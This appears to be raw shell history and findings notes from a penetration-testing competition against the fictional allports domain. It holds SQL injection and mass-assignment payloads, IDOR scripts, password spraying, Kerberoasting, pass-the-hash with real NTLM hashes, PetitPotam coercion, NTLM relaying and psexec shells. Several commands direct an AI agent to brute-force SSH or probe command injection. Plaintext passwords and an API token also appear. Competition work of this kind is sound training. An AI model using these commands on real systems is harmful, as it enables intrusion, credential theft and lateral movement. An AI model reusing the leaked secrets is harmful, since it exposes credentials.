  time curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL'\'' AND SLEEP(5)--"}'\
\
  PoC 5d: SQL injection in forgot_password\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--"}'\
\
  Expected Result: If vulnerable, will see errors or time delays\
\
  ---\
  VULNERABILITY #6: Race Condition - Multiple Accounts (HIGH)\
\
  PoC 6: Create 5 accounts with same email simultaneously\
  # Save this as race_condition_test.sh\
  #!/bin/bash\
\
  SAME_EMAIL="REDACTED_EMAIL"\
\
  # Launch 5 curl commands in parallel\
  for i in {1..5}; do\
    (curl -X POST 'https://chat.allports.tours/register' \\
      -H 'Content-Type: application/json' \\
      -d "{\
        \"email\": \"$SAME_EMAIL\",\
        \"username\": \"attacker_$i\",\
        \"password\": \"Hacked123\"\
      }" && echo "Account $i created") &\
  done\
\
  wait\
  echo "All requests completed"\
\
  Run:\
  chmod +x race_condition_test.sh\
  ./race_condition_test.sh\
\
  Expected Result: All 5 accounts created with same email!\
\
  ---\
  VULNERABILITY #7: Combined Attack - IDOR + Mass Assignment (CRITICAL)\
\
  PoC 7: Create admin account, then access all conversations\
  # Step 1: Create admin account via mass assignment\
  echo "[*] Step 1: Creating admin account..."\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "admin_backdoor",\
      "password": "Hacked123!",\
      "role": "admin"\
    }' -c cookies.txt\
\
  echo -e "\n[*] Step 2: Logging in..."\
  # Login with created account\
  curl -X POST 'https://chat.allports.tours/login' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "password": "Hacked123!"\
    }' -b cookies.txt -c cookies.txt\
\
  echo -e "\n[*] Step 3: Exploiting IDOR to access all conversations..."\
  # Access all conversations via IDOR\
  for i in {1..10}; do\
    echo "Accessing conversation $i:"\
    curl "https://chat.allports.tours/conversation/$i" \\
      -b cookies.txt -s | head -c 200\
    echo -e "\n---"\
  done\
\
  Expected Result: Full access to all conversations as admin!\
\
  ---\
  VULNERABILITY #8: Username Enumeration via Registration\
\
  PoC 8: Check if username exists\
  # Test common usernames\
  for username in admin root user test administrator; do\
    echo "Testing username: $username"\
    response=$(curl -s -X POST 'https://chat.allports.tours/register' \\
      -H 'Content-Type: application/json' \\
      -d "{\
        \"email\": \"random_$REDACTED_EMAIL\",\
        \"username\": \"$username\",\
        \"password\": \"Test123\"\
      }")\
\
    if [[ $response == *"exists"* ]] || [[ $response == *"taken"* ]]; then\
      echo "  ⃼\x83\xB3 Username '$username' EXISTS"\
    else\
      echo "  ⃼\x83\xB7 Username '$username' available"\
    fi\
  done\
\
  Expected Result: Can identify existing usernames\
\
  ---\
  VULNERABILITY #9: Token/Credential Exposure in Response\
\
  PoC 9: Check for token leakage\
  echo "[*] Registering account and checking response for tokens..."\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "tokentest",\
      "password": "Test123"\
    }' | grep -i -E '(token|session|jwt|password|secret|key)'\
\
  echo -e "\n[*] Requesting password reset and checking for tokens..."\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\


_raw: : 1768069392:0;pip install claude-engineer


_raw: : 1768069386:0;crackmapexec smb 10.0.1.0/24 -u all-ad-users -p ')u1h55hm-h(M(7nV' --loggedon-users


_raw: : 1768069334:0;git clone https://github.com/ScribblerCoder/Jellypwn.git


_raw: : 1768069330:0;crackmapexec smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M enum_pipes


_raw: : 1768069306:0;cat penetration_test_findings.md | grep -i libre


_raw: : 1768069301:0;cat penetration_test_findings.md | grep libre


_raw: : 1768069279:0;python3 -m venv claude-venv


_raw: : 1768069271:0;git clone https://github.com/fortra/impacket/blob/master/examples/getTGT.py


_raw: : 1768069220:0;python3 getTGT.py allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6


_raw:
cd ..
ls
cd jellyfin-plugin-template
ls
dotnet build Jellyfin.Plugin.Template/Jellyfin.Plugin.Template.csproj
sudo nano /etc/sudoers
cat ../password.txt
sudo su
grep -r ps -ef
grep -r 'ps -ef'
nano Jellyfin.Plugin.Template/Plugin.cs
ls
ls Jellyfin.Plugin.Template/bin
ls Jellyfin.Plugin.Template/bin/Debug
ls Jellyfin.Plugin.Template/bin/Debug/net8.0
cp Jellyfin.Plugin.Template/bin/Debug/net8.0/Jellyfin.Plugin.Template.dll ,
ls
mv , Plugin.dll
ls
zip plugin.zip manifest.json Plugin.dll
cp plugin.zip ../Desktop/srv
cp Jellyfin.Plugin.Template/bin/Debug/net8.0/Jellyfin.Plugin.Template.dll plugin.dll
ls
zip plugin.zip manifest.json Plugin.dll
md5sum plugin.zip
cp plugin.zip ../Desktop/srv
claude


_raw: : 1768069208:0;getTGT.py allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6


_raw: : 1768069145:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw:
: 1768069134:0;c[200~url -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "backdoor_admin",\
      "password": "Hacked123!",\
      "role": "admin"\
    }'~


_raw:
: 1768069125:0;curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "backdoor_admin",\
      "password": "Hacked123!",\
      "role": "admin"\
    }'


_raw:
: 1768069117:0;url -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "backdoor_admin",\
      "password": "Hacked123!",\
      "role": "admin"\
    }'


_raw: : 1768069082:0;pip install 'git+https://github.com/Mazars-Tech/AD_Miner.git'


_raw: : 1768069041:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u allports.tours --delay 50ms


_raw: : 1768069014:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u allports.tours --delay 50ms


_raw: : 1768068969:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u allports.tours --delay 50ms


_raw: : 1768068968:0;sudo ./bloodhound-cli install


_raw: : 1768068960:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-your-key-here"' >> ~/.bashrc


_raw: : 1768068956:0;python3 password_spray.py -u user.txt -p pass.txt -t http://10.0.1.11:8081 -d 1


_raw: : 1768068956:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u allports.tours --delay 50ms


_raw: : 1768068952:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768068949:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u https://allports.tours --delay 50ms


_raw: : 1768068942:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1768068936:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u allports.tours --delay 50ms


_raw: : 1768068873:0;curl -s -X POST 'http://10.0.1.13:8180/realms/master/protocol/openid-connect/token' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=admin&grant_type=password&client_id=admin-cli' | grep -o '"access_token":"[^"]*"' | sed 's/"access_token":"//;s/"$//' | xargs -I {} curl -X POST 'http://10.0.1.13:8180/admin/realms/master/identity-provider/import-config' -H "Authorization: Bearer {}" -H 'Content-Type: application/json' -d '{"providerId":"oidc","fromUrl":"https://accounts.google.com/.well-known/openid-configuration"}'


_raw:
: 1768068849:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1768068835:0;sudo ./bloodhound-cli install


_raw: : 1768068834:0;python3 crack_apr1.py -H 'captain:$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/' -w /usr/share/wordlists/rockyou.txt


_raw: : 1768068830:0;sudo systemctl enable --now podman.socket


_raw: : 1768068818:0;sudo ./bloodhound-cli install


_raw: : 1768068808:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768068804:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768068776:0;kerbrute bruteuser pass.txt cphillips2 --dc apt-dc-01.allports.local -d allports.local


_raw: : 1768068776:0;sudo apt install podman-docker


_raw: : 1768068758:0;pip3 install passlib --break-system-packages


_raw: : 1768068747:0;kerbrute bruteuser pass.txt <(echo 'cphillips2') --dc apt-dc-01.allports.local -d allports.local


_raw: : 1768068740:0;claude "bruteforce for ssh credentials on 10.0.1.11, 10.0.1.14, 10.0.1.13, 10.0.1.99, 10.0.1.30 using the wordlists located at /home/pentester/pass.txt and /home/pentester/user.txt"


_raw: : 1768068733:0;kerbrute bruteuser pass.txt <(echo 'cphillips2') --dc apt-dc-01.allports.tours -d allports.tours


_raw: : 1768068718:0;zsh: IOT instruction  flameshot gui


_raw: : 1768068717:0;Available platform plugins are: eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, xcb.


_raw: : 1768068717:0;This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.


_raw: : 1768068717:0;qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "" even though it was found.


_raw: : 1768068716:0;qt.qpa.xcb: could not connect to display :10.0


_raw: : 1768068716:0;Authorization required, but no authorization protocol specified


_raw: : 1768068707:0;cp new_big_APT_valid_username_list.txt account_enumeration/former_valid_username_list.txt


_raw: : 1768068681:0;sudo apt-get install podman -y\


_raw: : 1768068679:0;impacket-lookupsid allports.local/guest@10.0.1.20 -no-pass -domain-sids 2>&1 > account_enumeration/guest_lookupsid_list.txt


_raw: : 1768068673:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --bloodhound -c all --dns-server 10.0.1.6


_raw: : 1768068666:0;kerbrute passwordspray -h


_raw: : 1768068663:0;python3 ballast.py -u emails.txt -p 'IamTheCaptain2024'


_raw: : 1768068657:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --bloodhound -c all


_raw:
: 1768068652:0;curl -s -X POST "http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token" \\
    -d "username=pentester&password=P@ssw0rd123&grant_type=password&client_id=gps-app" | jq


_raw: : 1768068647:0;kerbrute passwordspray <(echo 'cphillips2') pass.txt --dc apt-dc-01.allports.tours -d allports.tours


_raw:
: 1768068641:0;curl -X POST http://10.0.1.13:8180/auth/realms/master/protocol/openid-connect/token \\
  -H "Content-Type: application/x-www-form-urlencoded" \\
  -d "client_id=admin-cli" \\
  -d "username=admin" \\
  -d "password=admin" \\
  -d "grant_type=password"


_raw: : 1768068641:0;curl -s http://10.0.1.13:8180/auth/realms/master/.well-known/openid-configuration | jq


_raw: : 1768068641:0;ldapsearch -x -H ldaps://10.0.1.6 -b "dc=allports,dc=local" "(objectclass=user)" sAMAccountName


_raw: : 1768068641:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectclass=user)" | grep -i samaccountname


_raw: : 1768068641:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectclass=user)" sAMAccountName userPrincipalName


_raw: : 1768068641:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768068641:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768068641:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team11-key2-7db54cd5-74c8-403b-9eb6-b689596d9d93"' >> ~/.bashrc


_raw: : 1768068641:0;curl --proto '=https' --tlsv1.2 -LsSf https://setup.atuin.sh | sh


_raw: : 1768068641:0;cp config.yaml.example config.yaml


_raw: : 1768068641:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768068622:0;nxc ssh 10.0.1.10 -u root -p finals-5/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1768068618:0;python3 ballast.py -u emails.txt -p 'IamtheCaptain'


_raw:
: 1768068617:0;curl -s -X POST "http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token" \\
    -d "username=pentester&password=P@ssw0rd123&grant_type=password&client_id=gps-app" | jq


_raw: : 1768068614:0;tar -xvzf bloodhound-cli-linux-amd64.tar.gz


_raw: : 1768068614:0;nxc ssh 10.0.1.10 -u root -p finals-5/wordlists/rockyou.txt


_raw: : 1768068609:0;python3 ballast.py -u emails.txt -p 'IamTheCaptain'


_raw: : 1768068608:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Allports1!'


_raw: : 1768068606:0;sudo apt install flameshot


_raw: : 1768068603:0;find / -name "rockyou.txt" 2>/dev/null


_raw: : 1768068591:0;nxc ssh 10.0.1.10 -u root -p /usr/share/wordlists/rockyou.txt


_raw: : 1768068589:0;nxc ssh 10.0.1.10 -u root -p /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768068586:0;searchsploit 8.9p1 Ubuntu 3ubuntu0.13


_raw: : 1768068576:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt --user-as-pass


_raw: : 1768068573:0;python3 ballast.py -u emails.txt -p 'Sails@way!2024'


_raw: : 1768068569:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt


_raw: : 1768068561:0;mv ~/Downloads/captain.hash .


_raw:
    - ETA: 2026-01-10 13:09:18 \
\
    - Distance remaining: 399.44 nautical miles "


_raw: : 1768068557:0;python3 ballast.py -u emails.txt -p 'Sails@way!'


_raw: : 1768068557:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i --delegate-access


_raw: : 1768068547:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt letmein -v


_raw: : 1768068545:0;hashcat -m 13100 kerber /usr/share/wordlists/rockyou.txt


_raw: : 1768068531:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt letmein


_raw:
sudo apt install neo4j
cat psasword.txt
cat password.txt
sudo apt install neo4j
sudo neo4j start
bloodhound
claer
clear
cd BloodHound-linux-x64
ls
./BloodHound -h
./BloodHound --no-sandbox


_raw:
make install
ls
cd ..
ls
dc RustHound
ls
cd RustHound
ls
make install
rusthound
rusthound  --domain allports.local
cd ..
ls
cat chatnames.txt
nano retst.txt
aliasr
nano passwordlist.txt
nxc smb 10.0.1.6 -u  'tester.txt'  -p 'passwordlist.txt'
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3'
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3'  --local-auth
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3'  --local-auth --shares
sudo apt install gcc python3-dev libkrb5-dev krb5-pkinit krb5-user
pipx install evil-winrm-py
evil-winrm-py
evil-winrm-py -i 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3
claer
clear
aliasr
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3' -h
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3' -h | grep s4u
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3' --s4u
nxc ldap DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3' -h | grep s4u
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3' --local-auth --sam
nxc smb DECKHAND-01 -u 'administrator'  -H 'aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3' --local-auth --lsa
aliasr
getST.py -self -altservice cifs/APT-DC-01 -impersonate administrator allports.local/'DECKHAND01$' -hashes ':46e0e9259513229c37a8d7ed0e4c4d79'
impacket-getST -self -altservice cifs/APT-DC-01 -impersonate administrator allports.local/'DECKHAND01$' -hashes ':46e0e9259513229c37a8d7ed0e4c4d79'
impacket-getST -self -altservice cifs/APT-DC-01 -impersonate administrator allports.local/'DECKHAND01' -hashes ':46e0e9259513229c37a8d7ed0e4c4d79'
getTGT.py -dc-ip "10.0.1.6" -hashes :":46e0e9259513229c37a8d7ed0e4c4d79" "allports.local"/"DECKHAND01"
impacket-getTGT -dc-ip "10.0.1.6" -hashes :":46e0e9259513229c37a8d7ed0e4c4d79" "allports.local"/"DECKHAND01"
impacket-getTGT -dc-ip "10.0.1.6" -hashes ":46e0e9259513229c37a8d7ed0e4c4d79" "allports.local"/"DECKHAND01"
impacket-getTGT -dc-ip "10.0.1.6" -hashes ":46e0e9259513229c37a8d7ed0e4c4d79" "allports.local"/"DECKHAND-01"
impacket-getST -self -altservice cifs/APT-DC-01 -impersonate administrator allports.local/'DECKHAND-01$' -hashes ':46e0e9259513229c37a8d7ed0e4c4d79'
export KRB5CCNAME='administrator@REDACTED_EMAIL'
nxc smb DECKHAND-01 -k --use-kcache
impacket-getTGT -dc-ip "10.0.1.6" -hashes ":46e0e9259513229c37a8d7ed0e4c4d79" "allports.local"/"DECKHAND-01"
export KRB5CCNAME='DECKHAND-01.ccache'
nxc smb DECKHAND-01 -k --use-kcache
getST.py -self -impersonate "BFINN" -altservice "cifs/DECKHAND-01.allports.local" -k -no-pass -dc-ip "10.0.1.6" "allports.local"/'DECKHAND-01$'
impacket-getST -self -impersonate "BFINN" -altservice "cifs/DECKHAND-01.allports.local" -k -no-pass -dc-ip "10.0.1.6" "allports.local"/'DECKHAND-01$'
export KRB5CCNAME='BFINN@REDACTED_EMAIL'
nxc smb DECKHAND-01 -k --use-kcache
nxc smb DECKHAND-01 -k --use-kcache --sam
nxc smb DECKHAND-01 -k --use-kcache -h
nxc smb DECKHAND-01 -k --use-kcache -M ntlm_reflection
nxc smb DECKHAND-01 -k --use-kcache -M coerce_plus
clear
export KRB5CCNAME=BFINN@REDACTED_EMAIL
evil-winrm -i 10.0.1.20 -r allports.local
nxc smb DECKHAND-01 -k --use-kcache
nxc smb DECKHAND-0 -k --use-kcache
nxc smb DECKHAND-02 -k --use-kcache
nxc smb DECKHAND-01 -k --use-kcache
evil-winrm-py -i 10.0.1.20 -r allports.local
evil-winrm-py -i 10.0.1.20 --no-pass
evil-winrm-py -i 10.0.1.20 -U BFINN --no-pass
evil-winrm-py -i 10.0.1.20 -u BFINN --no-pass
export KRB5CCNAME=BFINN@REDACTED_EMAIL
evil-winrm-py -i 10.0.1.20 -u BFINN --no-pass
aliasr
rlwrap -crA psexec.py allports.local/'DECKHAND01$'@DECKHAND-01 -k -no-pass
rlwrap -crA impacket-psexec allports.local/'DECKHAND01$'@DECKHAND-01 -k -no-pass
rlwrap -crA impacket-psexec @DECKHAND-01 -k -no-pass
export KRB5CCNAME=BFINN@REDACTED_EMAIL
rlwrap -crA impacket-psexec @DECKHAND-01 -k -no-pass
rlwrap -crA DECKHAND-01 -k -no-pass
rlwrap -crA impacket-psexec DECKHAND-01 -k -no-pass
aliasr
nxc smb DECKHAND-01 -k --use-kcache
export KRB5CCNAME=DECKHAND-01.ccache
nxc smb DECKHAND-02 -k --use-kcache -M coerce_plus -o LISTENER=10.0.1.20 METHOD=PetitPotam
nxc smb DECKHAND-02 -k --use-kcache -M coerce_plus -o LISTENER=10.0.1.20
nxc smb DECKHAND-02 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201
clear
nxc smb DECKHAND-02 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam
rlwrap -crA impacket-psexec allports.local/BFINN@DECKHAND-01 -k -no-pass
rlwrap -crA impacket-psexec allports.local/REDACTED_EMAIL -k -no-pass
export KRB5CCNAME=BFINN@REDACTED_EMAIL
rlwrap -crA impacket-psexec allports.local/REDACTED_EMAIL -k -no-pass
export KRB5CCNAME=BFINN@REDACTED_EMAIL
nxc smb DECKHAND-01 -k --use-kcache --sam --lsa


_raw:
nxc smb 10.0.1.0/24 -u 'Guest' -p '' --rid-brute 10000
history
nxc smb 10.0.1.0/24 -u 'Guest' -p '' -h
nxc smb 10.0.1.0/24 -u 'Guest' -p '' --groups
nxc ldap 10.0.1.0/24 -u 'Guest' -p '' --groups
clear
pipx install aliasr\
aliasr
echo "dev.tty.legacy_tiocsti=1" >> /etc/sysctl.conf
sysctl -w dev.tty.legacy_tiocsti=1
cat password.txt
sysctl -w dev.tty.legacy_tiocsti=1
sudo sysctl -w dev.tty.legacy_tiocsti=1
clear
aliasr
python -m http.server 1337
clear
aliasr
GetNPUsers.py -usersfile Downloads/chatnames.txt -outputfile hashes.asreproast allports.local/;hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force
GetNPUsers.py -usersfile Downloads/chatnames.txt -outputfile hashes.asreproast allports.local
impcaket-GetNPUsers -usersfile Downloads/chatnames.txt -outputfile hashes.asreproast allports.local/;hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force
impacket-GetNPUsers
impacket-GetNPUsers -usersfile Downloads/chatnames.txt -outputfile hashes.asreproast allports.local/;hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force
nxc smb 10.0.1.0/24 -u Downloads/chatnames.txt -p ''
nxc smb 10.0.1.0/24 -u Downloads/chatnames.txt -p ''  -k
nxc smb 10.0.1.0/24 -u Downloads/chatnames.txt -p '' --locala-auth
nxc smb 10.0.1.0/24 -u Downloads/chatnames.txt -p '' --local-auth
nxc smb 10.0.1.6 -u Downloads/chatnames.txt -p '' --local-auth
nxc smb 10.0.1.6 -u Downloads/chatnames.txt -p ''
ping 10.0.1.6
cp Downloads/chatnames.txt .
nxc smb 10.0.1.6 -u chatnames.txt -p ''
nxc smb 10.0.1.6 -u -p
nxc smb 10.0.1.6 -u '' -p ''
impacket-GetNPUsers -usersfile users_enumerated.txt -outputfile hashes.asreproast allports.local/;hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force
cat /etc/hosts
ls
cat users_enumerated.txt
cat users_enumerated.txt | awk {'print $7'}
cat users_enumerated.txt | awk {'print $7'} > new_usernames.txt
awk '{print tolower($0)}' < new_usernames.txt
cat new_usernames.txt
awk '{print tolower($0)}' < new_usernames.txt
awk '{print tolower($0)}' < new_usernames.txt > new_lowercase.txt
cat new_lowercase.txt
impacket-GetNPUsers -usersfile new_lowercase.txt -outputfile hashes.asreproast allports.local/;hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force
nxc smb DECKHAND-01 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201
ls
export KRB5CCNAME=BFINN@REDACTED_EMAIL
nxc smb DECKHAND-01 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201
cat /etc/hosts
nxc smb DECKHAND-01 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201
nxc smb DECKHAND-01 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
ls
python PetitPotam.py
ifconfig
python PetitPotam.py 10.0.254.201 10.0.1.21
cd ..
ls
cd SharpCollection
ls
cd NetFramework_4.7_Any
ls
python -m http.server
clear
sudo ntlmrelayx.py -t smb://10.0.1.21 -smb2support --dump-sam
cd
cat password.txt
sudo ntlmrelayx.py -t smb://10.0.1.21 -smb2support --dump-sam
sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support --dump-sam
sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support
clar
clear
sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -i
clea
clear
sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i
sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i --keep-relaying
sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i -h
sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i -c "whoami /all"
sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support
clear
sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -i
sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user SVC_STABILIZE
sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access
clear
sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user svc_stabilize
clear
sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support
sudo responder -I eth0 -v
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
ls
cat password.txt
cd
cat password.txt
cd PetitPotam
python3 PetitPotam.py -u svc_stabilize -p '1gyroscope' -d allports.local attacker.allports.local DECKHAND-02.allports.local
cd ..
cd krbrelayx
python3 printerbug.py allports.local/svc_stabilize:REDACTED_EMAIL attacker.allports.local
python3 printerbug.py allports.local/svc_stabilize:REDACTED_EMAIL attacker.allports.local -h
python3 printerbug.py allports.local/svc_stabilize:REDACTED_EMAIL attacker.allports.local
cd ..
ls
cd PetitPotam
python3 PetitPotam.py -u svc_stabilize -p '1gyroscope' -d allports.local attacker.allports.local DECKHAND-02.allports.local
cd
cd Adaptix
ls
cd AdaptixProjects
ls
cd tst
ls
python -m http.server
cd ls
cd
ls
cd RustHound
ls
cd CVE-2025-33073
ls
python CVE-2025-33073.py
clear
mv dnstool.py dnstool.py.broken
cp ~/krbrelayx/dnstool.py ./\
cd
cd krbrelayx
cd ..
cd PetitPotam
cd ..
cd krbrelayx
ls
clea
clear
cd ~/PetitPotam\
  python3 PetitPotam.py -d allports.local -u svc_stabilize -p '1gyroscope' \\
    localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.allports.local \\
    DECKHAND-02.allports.local
dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.allports.local @APT-DC01.allports.local
cat /etc/hosts
dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.allports.local @APT-DC-01.allports.local


_raw: : 1768068479:0;python3 ballast.py -u emails.txt -p '@nchor2026'


_raw: : 1768068476:0;sudo apt install flameshot


_raw: : 1768068471:0;python3 ballast.py -u emails.txt -p '@nchor2025'


_raw: : 1768068466:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'enum_av'


_raw: : 1768068464:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --kerberoast kerber


_raw: : 1768068459:0;python3 ballast.py -u emails.txt -p 'letmein'


_raw: : 1768068452:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --kerberoast kerber


_raw: : 1768068448:0;python3 ballast_login_test.py -u ../emails.txt -p 'letmein'


_raw: : 1768068433:0;claude "nc 10.0.1.10 6768, try to test for command injection, DO NOT RUN REBOOT"


_raw: : 1768068429:0;pip3 install anthropic requests python-dotenv


_raw: : 1768068420:0;impacket-GetUserSPNs APT/SVC_STABILIZE -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1768068381:0;python3 password_spray.py -u 99user.txt -p captain_passwords.txt -t https://a.rooms.allports.tours/admin.html -d 1


_raw: : 1768068380:0;sudo apt install python3 python3-pip python3-venv -y


_raw: : 1768068370:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --pass-pol


_raw: : 1768068321:0;sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute


_raw: : 1768068309:0;chmod +x kerbrute_linux_amd64


_raw: : 1768068293:0;jq -R 'split(".") |.[0:2] | map(@base64d) | map(fromjson)' <<< 'eJwljktqBDEMRO_idRb6y57LNG1ZIiGQQPfMKuTuMWRZVfDq_bSjrrzf2-N5vfKtHR-rPZrTOC19gI8TVoLwTOkj3Y2nFmNJ-cIsQpEVzoJnoGJ5R-3mYEqSSjW1J52wZ-LQykIiTGSaQI6gHhbZGUJTVxj3hT1ntS3yuvP6txk7xn3V8fz-zK9dCNCYo1PuE2HYOAszE1gIHrD47FQoq_3-ATFOPVc.aWKUFQ.AAp24Y_RMo_vG77SsWMBjQq1QJ8'


_raw: : 1768068273:0;sudo apt install kerbrute -y


